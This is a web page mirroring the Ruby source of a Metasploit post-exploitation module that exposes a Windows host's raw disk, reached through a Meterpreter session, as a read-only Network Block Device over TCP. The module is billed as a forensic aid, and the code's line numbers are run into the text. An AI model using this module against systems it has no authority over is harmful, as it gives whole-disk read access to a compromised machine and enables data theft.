Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/nbd_server.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45#6# Maps remote disks and logical volumes to a local Network Block Device7# server. Allows for forensic tools to be executed on the remote disk8# directly.9#10# R. Wesley McGrew [email protected]11# http://mcgrewsecurity.com12# Mississippi State University National Forensics Training Center13# http://msu-nftc.org1415class MetasploitModule < Msf::Post1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'Windows Manage Local NBD Server for Remote Disks',22'Description' => %q{23Maps remote disks and logical volumes to a local Network Block24Device server. Allows for forensic tools to be executed on the remote disk directly.25},26'License' => MSF_LICENSE,27'Platform' => ['win'],28'SessionTypes' => ['meterpreter'],29'Author' => ['Wesley McGrew <wesley[at]mcgrewsecurity.com>'],30'Compat' => {31'Meterpreter' => {32'Commands' => %w[33stdapi_railgun_api34]35}36}37)38)39register_options(40[41OptString.new('DEVICE', [true, 'Device to map (use enum_drives for possible names)', nil]),42OptString.new('NBDIP', [false, 'IP address for NBD server', '0.0.0.0']),43OptInt.new('NBDPORT', [false, 'TCP port for NBD server', 10005]),44]45)46end4748def run49ip_addr = datastore['NBDIP']50port = datastore['NBDPORT']51devname = datastore['DEVICE']5253invalid_handle_value = 0xFFFFFFFF54invalid_set_file_pointer = 0xFFFFFFFF55fsctl_allow_extended_dasd_io = 0x0009008356ioctl_disk_get_drive_geometry_ex = 0x000700A05758r = client.railgun.kernel32.CreateFileA(devname, 'GENERIC_READ',590x3, nil, 'OPEN_EXISTING', 'FILE_ATTRIBUTE_READONLY', 0)60handle = r['return']61r = client.railgun.kernel32.DeviceIoControl(handle, fsctl_allow_extended_dasd_io, nil, 0, 0, 0, 4, nil)62ioctl = client.railgun.kernel32.DeviceIoControl(handle, ioctl_disk_get_drive_geometry_ex,63'', 0, 200, 200, 4, '')64if ioctl['GetLastError'] == 665ioctl = client.railgun.kernel32.DeviceIoControl(handle, ioctl_disk_get_drive_geometry_ex,66'', 0, 200, 200, 4, '')67end68geometry = ioctl['lpOutBuffer']69disk_size = geometry[24, 31].unpack('Q')[0]7071socket = Rex::Socket::TcpServer.create({ 'LocalHost' => ip_addr, 'LocalPort' => port })72print_status("Listening on #{ip_addr}:#{port}")73print_status("Serving #{devname} (#{disk_size} bytes)")74rsock = socket.accept75print_status('Accepted a connection')7677# Negotiation78rsock.put('NBDMAGIC')79rsock.put("\x00\x00\x42\x02\x81\x86\x12\x53")8081rsock.put([disk_size].pack('Q').reverse)82rsock.put("\x00\x00\x00\x03") # Read-only83rsock.put("\x00" * 124)84print_line('Sent negotiation')8586loop do87request = rsock.read(28)8889unless request90print_error('No data received')91break92end9394magic, request, nbd_handle, offset_n, length = request.unpack('NNa8a8N')9596if magic != 0x2560951397print_error('Wrong magic number')98break99end100if request == 2101break102end103104if request == 1105print_error('Attempted write on a read-only nbd')106break107end108next unless request == 0109110client.railgun.kernel32.SetFilePointer(handle, offset_n[4, 7].unpack('N')[0],111offset_n[0, 4].unpack('N')[0], 0)112rsock.put("gDf\x98\x00\x00\x00\x00")113rsock.put(nbd_handle)114data = client.railgun.kernel32.ReadFile(handle, length, length, 4, nil)['lpBuffer']115rsock.put(data)116end117118print_status('Closing')119rsock.close120socket.close121122client.railgun.kernel32.CloseHandle(handle)123end124end125126127